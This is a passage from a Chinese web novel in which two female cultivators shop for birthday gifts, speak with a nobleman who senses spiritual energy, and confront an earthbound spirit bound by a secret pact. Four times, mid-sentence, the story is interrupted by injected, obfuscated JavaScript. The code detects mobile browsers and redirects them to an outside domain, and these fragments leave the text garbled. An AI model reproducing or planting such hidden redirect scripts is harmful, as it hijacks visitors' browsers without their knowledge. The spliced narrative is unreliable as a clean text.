前方少女的动作有些快,她还未来得及看清招牌,面前人已经大步跨进店铺中。来不及多想,她连忙跟着对方的身影,她在“乒乒乓乓”的敲打声中走了进去。 她也看到,方才的那位骑装少女正和铁匠商量着什么。 从她们的话语当中的信息听出,少女好像要定制一柄专属的长枪,不过由于朝廷对于兵器的打造有规定,因此能制作的款式也有一定的规矩。 一阵讨论过后,两人愉快地敲定了制作的款式和取长枪的时间。 在一旁挑选的姬忘尘熟练地掂量着面前已经制作好的铁器,手中的触感有些似曾相识。她心中有所猜测,但还是将注意力放在两人的讨论中去。 听了几句,她也忍不住仔细考虑起打造武器的想法来。在围观宗门比试的时候,她原本就打算为对方打造一柄顺手的兵器。 不过也是碰巧,今年宗门大比的最终奖品竟是长剑。而汤穗穗如今也将这柄长剑使得有模有样,若是再打一把,好似又有些赘余。 这样想来,打造兵器的选择也就没那么合适了。 又一个选项被排除,姬忘尘放下手中挑选的武器,她也顺手放下手中的武器,转身离开铁匠铺。 只是刚走出没几步,她若有所感,回头望向铁匠铺,只见悬在店铺大门的招牌处,用端正的字体写着“扬氏铁铺”。 方才她在掂量武器时已有所感,看到这个招牌更是印证了她的猜想。 就算对山下了解甚少,但姬忘尘也明白“扬”对于铸造铁器这一行的重要程度。 不过这些现在都与她无关了,姬忘尘沮丧地塌下肩膀,往方才来时的方向走去。 之后,她又跟着其她的少女去了不同的店铺。可思来想去什么都觉得不合适。 姬忘尘忍不住有些懊恼:这也不合适,那也不合适,究竟什么样才是合适的呢? 这样的几番折腾回之后,夕阳的余晖斜斜地打到她的身上,绘上金色的画卷,她恍然抬头望着天边不再刺眼的红日。 原来在她的不知不觉间,半天时间又过去了。 姬忘尘沮丧地走在大街上,原来挑选礼物这么难的吗? 思来想去,她觉得自己还不如直接询问汤穗穗的喜好,直接按图索骥采买就是了。 当姬忘尘带着一身的疲惫回到了自己房间时,还没等她拉开自己的房门,一旁汤穗穗的房门先一步打开。 兴致勃勃的汤穗穗对上师姐满含歉意的眼神,霎时慌了神,连自己想要说的事情都忘了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633262|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连忙开口:“怎么了?” “抱歉……”姬忘尘将半日一无所获的事情,如实跟对方开口。 虽然说赠送礼物讲究惊喜,但她觉得自己实在很不适合做这样的事情。 她将这些话语说出口的时候,还以为师妹会生气,却只听到对方只是“噗嗤”地笑了出来。 汤穗穗以为师姐脸色那么凝重,还以为是任务过于棘手到了处理不了的地步。 ——万万没想到竟然是和自己相关。 “没关系的师姐,”汤穗穗拉着姬忘尘的手,推开了们走进对方的房间,“其实我真的不在乎什么礼物的,我知道师姐有这份心意就可以了。” “不行,我答应过你的.”姬忘尘跟着对方进了自己的房间,她仍执着于自己的诺言。她之所以跟汤穗穗说这件事,只是因为她想要从对方口中得到准确的答案。 “礼物嘛,其实就挑你觉得我会喜欢的就好啦!”汤穗穗思量片刻,顺从地答应了对方,但她也有自己的小条件。 她将对方按坐在椅子上,亲昵地开口:“俗话说得好,礼尚往来。所以师姐,我也要给你准备生辰礼物。不过,我还不知道师姐你的生辰是哪天呢?” 她不在乎师姐给她挑选什么礼物——准确来说,师姐就算不送礼物,只说一句生辰快乐,她都能高兴很久。但是汤穗穗想给师姐过生辰这个想法很久了,一直找不到机会开口,现在正好是一个很好的机会。 师姐一直以来都只身一人,就像做好了随时会离开的准备一样。 即使她们走上这条路时,已经做好了死亡的准备,但不代表她们就应该超然物外,不问红尘俗世。 难道宗门里还会有规矩,不让她们享受红尘吗? 姬忘尘并不知道汤穗穗的想法,但被问及生辰的时候,她不自觉拉下了脸色,下意识攥紧掌心,努力克制自己的情绪。 “我的生辰吗?”因此,她的语气有些生硬,不假思索地开口,“我不记得了。” 然而汤穗穗听得出来,师姐的语气不像是“不记得了”,更像是刻意地将其藏匿起来。 意识到这一点的她有些泄气,她原本以为自己和师姐已经到了无话不谈的地步。但师姐的这番话却告诉她,她们的关系并非是她自己以为的那样密切。 不过她很快就看开,或许只是因为这个日子对师姐有特别的意义呢。 每个人都会有小秘密,没必要向谁人将全部的自己全盘托出。 姬忘尘也觉察自己的态度有些恶劣,连忙找补道:“其实穗穗你不用给我回礼的,你所给我的远超实物的价值。” “可我只是想给你送礼物,不可以吗?” “……好吧。”汤穗穗不想揭师姐的伤疤。 毕竟日子不是很重要的,重要的只是她想找个由头给师姐送礼物。没有生日那也还有数不清的佳节庆贺,等她们关系再好上一些,就可以随时给对方送礼物了! 汤穗穗小心翼翼地撇一眼师姐,像这么好的师姐,就应该被礼物包围,被所有人的爱意包围。 "好吧……“姬忘尘不忍心再拒绝对方。 准确来说,在汤穗穗面前,她拒绝不了对方的每一个请求。 她忍不住想起,曾经她也是这样看待师傅和汤穗穗地相处。却没想到有朝一日,竟会应在自己身上。 54.定做礼物 礼物的小插曲解决了,两人又重新说回正事。汤穗穗将中午时的猜想转述给师姐,征求师姐的建议。姬忘尘认可地点点头,并不否认这个猜想的可能性。 和那个猜想相对应的,她又想起当时布阵时感受到的、那道来自乾坤宗的灵气。现在想来,那股灵气还有那些似曾相识的感觉,似乎她都曾经在哪里感受过。 只不过那种熟悉感很快就在指尖消失的无影无踪,就好像那只是她的错觉而已。 种种细节让她止不住心中的疑虑,可她又不想用这种极端的想法污蔑宗门的前辈们。 心中犹豫再三,她还是选择将阵法的事情跟少女全盘托出。她不自觉的将求助的视线放在面前的少女身上,希望对方能够给她一些开解、或是其她的建议。 听到消息后,汤穗穗不自觉地倒吸一口气:“难道这里还会隐藏着什么秘密吗?又或者是人为制造的?” “不是人为,但……”姬忘尘下意识否定对方,可又抓到了一些关键,“一定有人教会地缚灵控制魔气,……甚至教会对方修炼的方法。” 若非如此,这里的魔气不会如此不寻常。 “可这么做,对那位前辈有什么好处?”汤穗穗理解师姐的意思,但是她百思不得其解。 对于这个问题,姬忘尘也想知道答案,但现在她也只能摇摇头,低着声音:“我不知道。” 更多的细节,或许她们得亲自逼问地缚灵才行,倘若那位所谓的前辈果真暗中谋划些什么,她们也能及时阻止对方的阴谋。 “别紧张,也别多想,”汤穗穗看出师姐的状态十分低落,主动伸手握住对方放在桌上的手,笑着开口,“师姐,你身边还有我呢——再说了,事情的真相说不定跟我们猜测完全不同呢?” 对于师妹的开解,姬忘尘也笑着点点头,将心中的巨石放下些许。 也是,与其在这里胡思乱想,不如早些把材料备齐,这样尽早能从地缚灵的口中挖出些什么。 是故,次日一早姬忘尘就找到姜祯,主动询问对方尚未备齐的部分。不过出乎她所料,对方已将大部分备齐,所差的也不多。 既然这样,在府邸中带着也闲来没事,她又萌生起给汤穗穗添置礼物的事情。 若说最想给汤穗穗添置的,其实应当是一些饰物。昨天她所跟随的许多少女都打扮得各有特点,身上精致的饰物将她们灵动的特点方法,恰如她们正当年华。 她记得王城中有一间颇具盛名的、打造饰物的店铺,只是她并不清楚具体的位置。不过好在她已经不再胆怯,主动询问周围的摊贩,摊主也很热情地给她指明方向。 在一天之前,姬忘尘也不能想象,自己还能这么自如地寻求旁人的帮助。其实有些事情并不想她以为的那样艰难,许多人都报以朴素的热情。 或许是环境安定,她们便最大程度的施放自己的善意。 一边想着,她一边走到了那家饰物店铺。她抬布走了进去,却被满室琳琅晃了神,柜台上放置的饰品从镯子、臂钏到发簪、步摇,款式多样,制作精美。 在她刚踏进店铺时,一旁擦拭柜台的帮工就看到了她的身影,热情地上前来招呼她:“这位女郎,有什么看中的吗?” 恰在此时,姬忘尘的视线也放在对方身后高柜上、在最中间位置的,是一款样式别致的男式发冠。哪怕相隔一定距离,她依旧觉得光彩照人。见此形状,不免心生好奇:“那是?” 帮工顺着她的视线望过去,了然地开口,“那是前朝一位女郎为旁人定做的,只是过了预计领取的时间许久,依旧未来取走。再后来便是朝堂更替,或许……” 帮工并未将对方的结局直言,笑着说道:“当时她和师傅商量了很多版画稿,这也是师傅得意之作,既然已经制作完毕,也就摆放作为展示。倘若今后有缘,或许还能物归原主。” “这样啊……”姬忘尘遗憾地点点头,将此行开口:“我想买簪子,请问有什么推荐的款式吗?” “姑娘莫急,您是买来送人的吧?不如同我讲讲,你要送的人是一个什么样的性格,大概有什么样的偏好?”帮工笑着礼貌开口,即使表明疑问,但她心中大体将姬忘尘的来意猜得八九不离十。 而姬忘尘意外地眨眨眼,下意识摸上自己的脸。心中不由得纳闷,自己的神情居然也变得师妹那般好猜了吗? 她心中仍有不解,可望着面前笑眼盈盈的帮工,对方眼角虽然爬上了细纹,但神态亲切自然,如同和蔼的邻家阿姊。可也正是这位看起来寻常的邻家阿姊,将她的想法完全看透。 帮工似乎能看出姬忘尘心中所想,笑容更真切了几分,补充道:“女郎不必多疑,我干这行已有数十载,在识人方面自认还是有些把握的。” 听着帮工阿姊将猜测的理由说出口,姬忘尘也不由得心悦诚服:“受教了。” 既然对方这么熟练,她也不藏着掖着,直接将来意表明:“我想给、妹妹送一份生辰礼。她……是一个活泼的性格,对许多东西也抱着好奇的态度,与此同时她也很有分寸……” 当她讲起汤穗穗的时候,她忍不住拉着面前人眉飞色舞地讲了许多。帮工阿姊非但没有嫌她啰嗦,反而笑着点头,认真地听她滔滔不绝地讲下去。 等姬忘尘回过神来时,才发现自己围绕着汤随俗讲了许多。她不好意思地止住话头,有些尴尬地抓了抓衣摆:“……抱歉,我是不是太啰嗦了?” 也是在这一刻才发现,她竟然对汤随俗如此了解。 “哪里哪里,证明女郎您对令妹了解颇深啊。有了您所描述的这些,我大体也知晓了令妹的性格……”帮工阿姊拉着姬忘尘走到另一边,她灵巧地钻到柜台后,根据方才对方给出的信息,她眼疾手快地在展示柜上挑选一些合适的饰品,轻柔地放到手中的木质托盘中。 眼尖的姬忘尘还看到,阿姊手中的木质托盘上还放置了一块暗色的绒布,避免饰品磕碰而变得损坏。对方端着托盘一边挑选,一边带着笑意开口:“许多给旁人挑礼物的,甚至连对方的喜好都描述不出个所以然,这才让我头疼。” 帮工阿姊挑选了一会,转身将手中的托盘推到姬忘尘的面前。 姬忘尘没想到这片刻的功夫,对方竟然在琳琅满目的饰物中真的能给她挑选到合适的。不得不说,帮工阿姊的品味真的很好,所挑选的发簪都是精致但不累赘,并且很适合汤穗穗这样的年纪佩戴。 除去一开始说的发簪,阿姊还贴心地挑选了少量镯子、臂钏以供选择。 虽然面前的事物都很精致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639472|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也很适合师妹,但姬忘尘心里总还是觉得不太合适——至于是哪里不合适,她又说不上来。 “是我挑选的不合眼缘?”帮工阿姊自然关注着对方的脸色,看到对方犹豫不决的模样,顺势追问道:“您说说,是哪些方面让您为难?” “说不上为难,只是总觉得……还是过于寻常了。”姬忘尘犹豫着还是开口,她总觉得面前的饰品好归好,总是有些不太衬汤穗穗。 “这样啊,看来您对令妹果真是情真意切呢!”帮工阿姊非但不恼,反而笑吟吟地收走面前的木盘,“小店还提供款式定制,您看要不要您亲自为她设计一款独一无二的?” 姬忘尘听到可以定制,眼睛亮了一瞬。但很快,她考虑到物件制作的工期,不知道会不会耽误了时间。她连忙开口问道:“可是,我妹妹她这几天要到生辰了,确实现在定制的话,会不会时间上太仓促了?” 今日已经是八月初三,她还记得汤穗穗的生辰在八月初九,不知道这五六天能不能完成她的要求。 “无妨,若是只是在原有的基础上修改,制作的时间会相对短一些。”帮工热情地解答,顺手拿出定制项目的册子,开始给面前的客人介绍起来。正如她所言,不同的定制所需要的价格和工期均不相同。 在对方的伶牙俐齿之下,姬忘尘也慢慢被对方说动,犹豫着跟对方描述了自己想要改动的地方,想请帮工判断一下工期。 她也只是打算在方才看中的某一款上,再添置一些对方会喜欢的小巧思。 帮工阿姊将她带到内室,两人面对面的商谈之下,帮工阿姊将她想要的效果绘制下来。 “就是这样的,您看……” “女郎莫急,还请在外等待片刻,容许我去后堂询问一下师傅。”帮工拿着画纸将对方引出内室,她便拿着画纸走入了后院制作的地方。 姬忘尘则一个人回到店铺前厅等待着对方的答复,她有些惴惴不安。正如昨夜汤穗穗所说,她希望添置的细节应当是被对方喜欢。 她正百无聊赖地打量着店铺内的其她饰品,只听到身边有两人喜气洋洋地聊天。余光撇去,其中一位面带喜色地和另一位唠家常:“……好久不见!我还记得令妹不是前些日子刚生产嘛——怎么样,她身体还好吧?” 被问话的那人似乎回忆起当时的惊险,脸上不自觉带上庆幸,下意识拍了拍前胸开口:“可别提了,还好她这段时日吃得够补,生产时浑身有力气,总归是有惊无险。我这想着就给她们母女俩打些吉利的玩意儿,护护身。” “这不就赶巧了吗!要不姐姐你打把长命锁?”最开始说话的那人连忙挽住对方的手臂,低声说起一贯以来的习俗,“我听老人常说,长命锁那是寓意又好又吉利的物件,上面雕刻的瑞兽祛除邪祟,定能佑护新生儿岁岁平安,长命百岁……” 后面两人的交谈姬忘尘并没有再听下去,但是她记住了两人交谈时说起的“长命锁”。 “岁岁平安啊……”姬忘尘忍不住低声重复这个词语。她还记得自己年幼时也被人如此期待过,只是不知道经过那番战乱,属于自己的长命锁如今又被放在了何处。 或许给汤穗穗打一把长命锁也是很好的选择,至少希望她能同其中寓意一样:岁岁平安,长命百岁。 55.对谈 正当姬忘尘为汤穗穗谋划着来年的礼物时,帮工阿姊也乐呵呵地拿着画纸走了出来。 “怎么样?”姬忘尘连忙上前一步,紧张地追问道。 “女郎莫急,方才我去询问了师傅。师傅说款式不算难办,若今日能定下,四日内就能做好。”帮工阿姊上拉着姬忘尘的手,将后堂师傅的话语仔细转达,“今日正好是初四,算算日子,……初八您就能来拿了。” “这么快吗?”姬忘尘喜出望外,她原本以为这种特殊定制的,怎么也得数十日的工期,没想到竟然真的能赶在汤穗穗的生辰前拿到。 “怎么样,女郎,今日就下单吗?” “没问题,”姬忘尘利落地应下。 她眯起眼睛将胸口的闷气呼了出来,不自觉地松下肩膀。跟着帮工阿姊去楼上隔间签订契约。 望着对方熟稔地研磨起书时,姬忘尘想到了方才被提及的长命锁,趁机开口询问:“对了店家,我想问一下,如果我想打制长命锁的话……” “长命锁?制作起来步骤有些繁琐,短期内那做不成。”原本低头研磨的阿姊抬起头来,打量面前这个人,犹豫着开口,“您这是?” “刚刚在等您的时候,听到身旁有人谈起长命锁的事,也就心生好奇,随口问问。”姬忘尘也不隐瞒,向对方坦白。 “原来如此。”帮工阿姊点点头,将手中的契书朝对方推去,接着解释,“长命锁这一类的都是慢工的活,急不得。哪怕是最简单的长命锁款式,工序都十分复杂,若是想要加些巧思定制,做上两三月也是常有的事。若是女郎要,那可得提前了定,免得误了好时辰。” “我懂的。”姬忘尘在契书上前下自己的名字,听到阿姊的解释,心中也有了些许盘算,“那每一家银楼都能打制吗?” “是的,不过不同的店家风格也不一样……”话说到了这份上,帮工阿姊也顺便推销起自家的技术,姬忘尘也听得很仔细认真。 不过阿姊并未深入,将面前的契书签订之后,给了一份姬忘尘。姬忘尘也按契书缩写,交付了一部分定金。 帮工将她送出店铺,并嘱咐四日后凭单子来领取、倒是一并结清剩余货款即可。 了却了一桩心事,姬忘尘回去的步伐都轻快了不少。她忍不住期待起了师妹将这一份定制的礼物拿到手时,脸上会是什么样的神情。 姬忘尘忍不住猜想,师妹或许会眉飞色舞地抱着自己的手臂撒娇,就像往年师傅给她送礼物那样。 不过这些都是其次,她还是想知道师妹会不会喜欢这一份礼物。即使她对这家店的做工很有信心,但依旧对自己的眼光不是很有信心。 应该会喜欢的吧,姬忘尘不太自信地想着。 等她回过神来时,已经站在了王府的门前。府门两具石狮依旧威严,就连宅邸也依旧被浅淡的紫气笼罩。在一团紫气中,也有一小块青绿色的气流将其隔绝在外,应当是她给秦王卧房留下的阵法起了效果。 但她知道阵法也不是长久之计,得早日解决宅邸内的地缚灵才能将紫气完全净化,避免误伤到周遭的无辜百姓。 “忘尘道长?” 身后有人轻声喊出她的名字,她下意识转身回望,对上了姜祀的双眼。姬忘尘看到这个人心里就有一股无名火,她收回视线冷声开口:“有事?” 其实姬忘尘也不知道自己在气什么,她也没有立场和资格指责对方。 ……可她始终压不下那股迁怒的情绪,不知道是对自己还是对他。 “忘尘道长,此前多有得罪,还望见谅。”姜祀只当姬忘尘一贯如此有个性,想起之前措辞不当的地方,拱手道歉。 “……算了。”对上他这种态度,姬忘尘心中的火气更无从宣泄。她捏紧双手,心中默念口诀,掉用周身灵气清洗那些燥闷。 与此同时,姜祀隐约感觉到周围好像有一股清凉的空气聚集起来,驱散了周遭的闷热。 “对了忘尘道长,”感受气流变化的他脱口而出,“道长你看得到,整座府邸都是……雾蒙蒙的吗?” “你能看到?”姬忘尘震惊地望向对方,但很快她的目光变成审视,在对方身上打量,“真的假的?” “真的。”姜祀羞愧地开口,“并且我居住在宅邸里会觉得很难受,因此……” 一直未同旁人说起,他从幼时起便对周遭的气息感知格外敏锐。起初只当是自己过于敏感,可后来慢慢觉得并非如此。这种敏感一直被他刻意地压在心底,直到这次意外听说了乾坤宗的存在,他向皇帝主动请缨,揽下了乾坤宗的差事,想要一探究竟。 那时会见宗主,他主动将自己的情况抛出,想要得到一个答案。可那位藏在书画屏风后的宗主轻笑,只说自己“空有天分,身属尘世”。 起初他并不明白对方口中的“天分”究竟是什么,但方才出口后,他看带面前姬忘尘霎时的脸色变化,这般反应无疑是给了他想要的答案。 姜祀忍不住想象,倘若那年秦王没有做出那样的决定,那现在的自己是不是也会像面前道长一般,凭借天分学得一些驱除邪祟的技能。 ……或许这样会比现在更轻松一些? 面前的道长似乎有读心的技能,微眯着眼开口打断他的幻想,冷哼一声嘲讽道:“你想说,你也想成为我们这样的人?” 或许是她脸上似笑非笑的神情过于刺人,姜祀忍不住辩白:“道长误会了,在下并没有那个意思。” “你天赋很好,哪怕是现在开始修炼,不用三年五载也能达到穗穗那样的水平;只不过,你需要割舍现在的身份,无论是身份地位,都将逐一剥去。”姬忘尘背身不再看对方,而是看向门口的牌匾,语气冰冷,“你可以选。” 不得不说,姜祀确实有片刻动摇,萌生修炼的想法。但让他心生犹豫的,不是所谓的身份地位,而是脑海当中一闪而过的,是这些年的种种经历。他见过太多纯粹而真挚的笑脸,以至于不能割舍丝毫。 他无意识搓了搓手上因常年紧握缰绳、武器磨出的厚茧,想起那些温热的血液和期盼胜利的面庞。 当那一刻的犹豫苗头萌芽,迅速地在心中长成参天大树,让他再也无法忽视自己真实的想法。 姜祀重新睁开眼,望着面前雾蒙蒙的宅院,还有背后清澈的蓝天,周围依稀传来稚童的欢声笑语,还有走家串巷货郎的叫卖声。 “道长说得对。” 等待着对方拒绝的姬忘尘听到这句话,皱着眉怒气冲冲地转过身去,却只看到身后的人脸上带笑,他的变化很明显,好似终于做出了什么决定。 “其实上山那天,宗主给了我八字批语。如今想来,那便是我的命途。”姜祀闭上眼松了一大口气,将听到批语之后的郁闷轻松呼出,释怀地笑着,对上面前疑惑的视线,“这段时间,一直是我想岔了。” 困扰他的是那句“天分高”而不能将其转化成助力,可实际上他所行走的道路,完全不需要依靠这份天分。 他的人生正应着宗主所说的那句:空有天分,身属尘世。 可是他不后悔。 比起道长们看不见摸不着的能力,他还是更倾向于能够握紧手中沉重的利器,站在更多人身前,以血肉为墙,给更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她都做好了准备,倘若不能在最近几天找到吉时,索性她就用自己的灵血强行逆转吉凶。 不过好在,还并不需要她做到这一步。今日就是恰当的良辰吉时,她睁眼缓慢地将结果吐出:“今夜子时,能做得到吗?” 而最恰当的位置是东北角的某处,具体的还得今夜带上罗盘细勘。 “当然当然!”姜祯连忙应承,“需要人手帮忙吗,又或者需要避开我们吗?” “那今日就麻烦你们稍微忙碌一些,在入夜前带到东北角的院落。只要别让旁人干扰就够了。”姬忘尘倒是没那么多忌讳,若真的有地缚灵,在场能看到的也就她和汤穗穗两个人。 ……姜祀能看个大概,不知道会不会被吓到。 算了,最好被吓死才是。 为了指明具体的方向,姜祯特地画了一幅简易的平面图,让姬忘尘圈画东北角的位置。姬忘尘格努方才感受到的能量,最终锁定那里的某个院落。 当她将这个位置圈画起来的时候,姜祯却发出诧异的疑问:“果然是这里吗?” “怎么了?”姬忘尘看出对方好像话里有话。 “那里的门……”姜祯斟酌着开口,“打不开。” “什么意思?” “洒扫的随从们反映,那里好像因为陈年风化,被锁上的木门完全卡死,无论怎么用力都推不开。后来秦王得知,也不强求,反倒免除打扫这个院落。”姜祯回想着管家给她反馈的内容,想到这里,她心中有些懊悔,“先前我只当时寻常琐事,所以没有跟道长您提及……” 姜祯心中忍不住自责,倘若早些跟道长开口,说不定她会有更好的计谋也说不准。 “无妨,你也辛苦了,”姬忘尘伸手拍拍对方的肩膀,以作宽慰道,“今夜我将一探究竟。” 56.约定 道具的准备依旧交给姜祯安排,而姬忘尘则回到自己的院落,拉上汤穗穗嘱咐今晚的行动事宜。姬忘尘还将方才姜祯提到的内容转述给对方,倘若那个被封锁的院落当真留存着前辈的阵法,那她们只能先绕开大门换个方式进去。 “师姐,我们今夜不除掉地缚灵吗?”汤穗穗点着头记下师姐的提醒,但话里话外,师姐都没有提到净化魔种的举措。 “倘若顺利的话,应当可以。但——”姬忘尘有种没由来的直觉,今夜之行不会如她们所想的那般顺利,“虽被称之为‘地缚灵’,但依它如今的境界,所行动的范围会更大一些,起码半座王城的范围都是可能的。” 汤穗穗听懂了师姐的言外之意,但她觉得未必不是那位宗门前辈的阵法效果。 听完对方的猜测,姬忘尘点点头,她也赞同师妹的想法,只是太多疑点让她忍不住再三怀疑前辈的真实意图,可这又与她一贯的想法相悖。 她曾经以为,每一位前辈都是赤诚的领路人,又怎么会做出如此危害百姓的行径? “师姐,别担心。”汤穗穗看出师姐的心神不宁,她伸手盖在了师姐的手背上,“今夜我们一定能找到真相。” 温热的感觉从手背弥漫到积极完成的心间,她深呼吸点点头,稳住了自己的心神。越是这种时候,她越不能动摇自己的信念。 夜幕降临,姜祯按姬忘尘的计划,有条不紊地将物件布置在院落外,姬忘尘往其中注入灵气,形成隔绝魔气的屏障。 所布置的屏障最大的作用,就是放置她们进入院落后发生意外,导致大量的魔气逸散,危害府中的无辜百姓。 姬忘尘和汤穗穗站在木门外,隔着木门,她都能感应到汹涌的魔气如同浪潮,接连不断地、扑打在木门上又离开。她将手悬空几寸、虚虚地贴在木门上,感受到其中的灵气流动,她不自觉地轻叹,若是对阵法更为熟稔的蓝鄞在,或许就能反向推断出封锁在这处究竟是何阵法。 “怎么了师姐?” “没事,准备好了吗?”姬忘尘压下胸膛翻涌的情绪,抬头看向拱门上方的空缺,她们可以借助同源的灵力,快速地穿过这里的阵法。 汤穗穗同样做好了准备,取下腰间的链剑,紧紧握在手中。她学着师姐的动作,轻巧地跳入内院中。还未等她站稳,令人窒息的魔气扑面而来,险些让她应付不能。 但她很快地调整过来,跟着师姐身后打量着这个院落的内部。在月光之下,院落内虽然因为无人轻扫,落满了一地枯叶,中间的石桌布满了厚厚的尘埃。可院中所汇聚维持平衡的灵气,却被人用来精心培育花丛。 即使已是深夜,但花朵依旧能看出些许白日的艳丽姿态。 如此反常的现象,无疑将地缚灵的藏身之所摆在了她们面前。汤穗穗下意识从怀中拿出当时被改造过的罗盘,可惜在浓郁的魔气之下,罗盘也不能锁定地缚灵的位置。 她将求助的目光看向师姐。姬忘尘神色凝重掐诀念咒,想要用灵气来锁定地缚灵身上魔种的位置。 然而惯常生效的手段却碰到了某种气流后,又再度消散,就像被什么刻意屏蔽了一样。 姬忘尘猛地睁开眼睛,她不可置信地感受着那股被反弹的灵气。正如当时在门外感受到的,那也是一股来自宗门中人的灵气——甚至带着些许师傅的灵气。 果然当时的感受并非错觉,这里的地缚灵当真被某人庇护着。 ……难道庇护地缚灵的人—— 不可能。 就在下一刻,姬忘尘直接否定了这个想法。这二十年来的相处,她也算得上最为了解秦无纪,她绝不可能会放任地缚灵这个已知的危险不管,也可能刻意隐去这份危机。 可那股灵气的熟悉程度,又让姬忘尘极为困惑。倘若来源不是师傅,那必定是和师傅相关的人,比如师傅同师门的几位前辈——她不想做出这样的猜测。 最让她想不明白的,她不知道对方又为何要如此行动?那人真正的意图又是什么? 站在一旁的汤穗穗看到师姐收起灵力后就紧蹙的眉头,望着对方的脸色变得愈发凝重,小心翼翼地开口:“又是那股前辈的力量吗?” 姬忘尘刚想开口应答,忽然院落中的魔气用力地翻涌着,有什么危险正向她们袭来。她握紧环刃将汤穗穗护在身后,戒备地眯眼盯着魔气翻涌得最厉害的方向。 与此同时,一道缥缈空灵的声音随着汹涌的魔气传来,像是一位女子的声音,她的语气有些愧疚,像是做了什么错事一般。 “我本无意伤害旁人,只是我过于得意忘形了。”那道声音钻入她们的耳朵,如泣如诉,“……道长,是我越界了。” “谁?!”汤穗穗紧贴着师姐的身体,握紧了手中的长剑,也随时做好了战斗的准备。 “道长……?咦?”翻涌的魔气听到汤穗穗的声音后骤然停歇,发出疑问又自问自答地开口,“——哦,您是来替那位道长来履行约定的吗?” 约定。 令人敏感的字眼。 那位的前辈竟然和对方达成了某种见不得光的协议。 “……你违约了。”汤穗穗也顺着对方的话语往下接,即使心中有疑惑,两人默契对视,并未声张。 “非也,道长,是您来晚了。您比约定晚来了十年。”那道声音为自己辩白,但心虚的语气也出卖了她的真实想法。这多出来的几年时间里,她既希望那位道长早些来,又希望对方永远不来,这样她还能多流连人世多些时间。 ……哪怕这世上应当无人还认识她。 同样的讯息传入姬忘尘的耳中,却让她胸中涌起波涛,不自觉地再一次握紧手上的兵器。 果然地缚灵的身上藏着不为人知的阴谋,并且谋划的时间远比十年更久。 “……道长,”那道声音感知到空气中的沉默,以为对方动怒,连忙开口极力讨好,“这些年我可不敢踏足宅邸之外,也不敢任由气息泛滥,只是我确实没有想到……” 那道声音还在解释着什么,但汤穗穗看到师姐的眼神顷刻变得锐利,捏着手中环刃,在声音发出的同时再一次捏觉念咒。她往前走的每一步都很缓慢,她努力捕捉着空中几不可查的魔气波动。 即使她已经做得很谨慎,可是地缚灵比她更敏锐地察觉到了危机,猛然开口:“不对——” 姬忘尘瞬间捕捉到霎时变得浓郁的魔气,穿过鲜花点缀的小径,大步疾驰院落的房间。眼看着还有不到十米的距离,可就在下一刻面前被紫雾完全笼罩,瞬间迷失了方向。 “穗穗!”失去方向的那一刻,她顾不得其他,伸手往身后探去,急促地喊出师妹的名字。 “师姐我在!”方才汤穗穗就不敢离师姐太远,当紫雾泛起的时候,她连忙上前贴紧面前的人,捉住了她的手,“这是怎么回事?” “二位道长,抱歉。”那道声音再次冒了出来,只不过变得礼貌疏离,“多有冒犯,还请见谅。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15650757|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道你们达成了什么约定,你的存在只会伤害更多的人。”汤穗穗抓着师姐,对方温热的身躯带给她信心。她紧紧地盯着面前的紫雾开口,“更何况,你现在的情况,迟早有一天会被魔种反噬。” “我的结局就是魂飞魄散。我知道的,道长。”地缚灵对自己的结局已经了然,她轻笑出声,隔着紫雾开口,“……请容许我最后做些准备吧。” 虽然等来的并非当年那人,但她也坦然地选择接受。毕竟严格来说,她现在的生活本就不容于世。 “当年和你做约定的人,是谁?”面前地缚灵的招式她并非不能应对,只是姬忘尘更关心所谓的约定,不敢轻举妄动,“你们究竟约定了什么?” “……等我做好准备,我会亲自来到道长的面前,为您讲明那一切。”地缚灵的声音变得微弱,对方的位置好似变得更加遥远。 姬忘尘无言冷笑,她从不将主动权交付在旁人身上,她直接挥舞弯刀,强行用灵气破开紫雾。面前又出现了原来的房间,她挥刀将房门破开,尚未弥散的魔气仍团聚在房内。 汤穗穗紧随其后,跟在师姐的身边,但并没有想象中的地缚灵出现,她们扑了个空,造成魔气的本体并不在这里。 她打量着房内的装潢,这里好似是一间女子的卧房。因为久久无人打扫,房中的一切还保留着当年的模样:原本摆放得整齐的花瓶、茶杯等都化成碎片铺在地上,就好似有人盛怒之下将这一切砸碎。 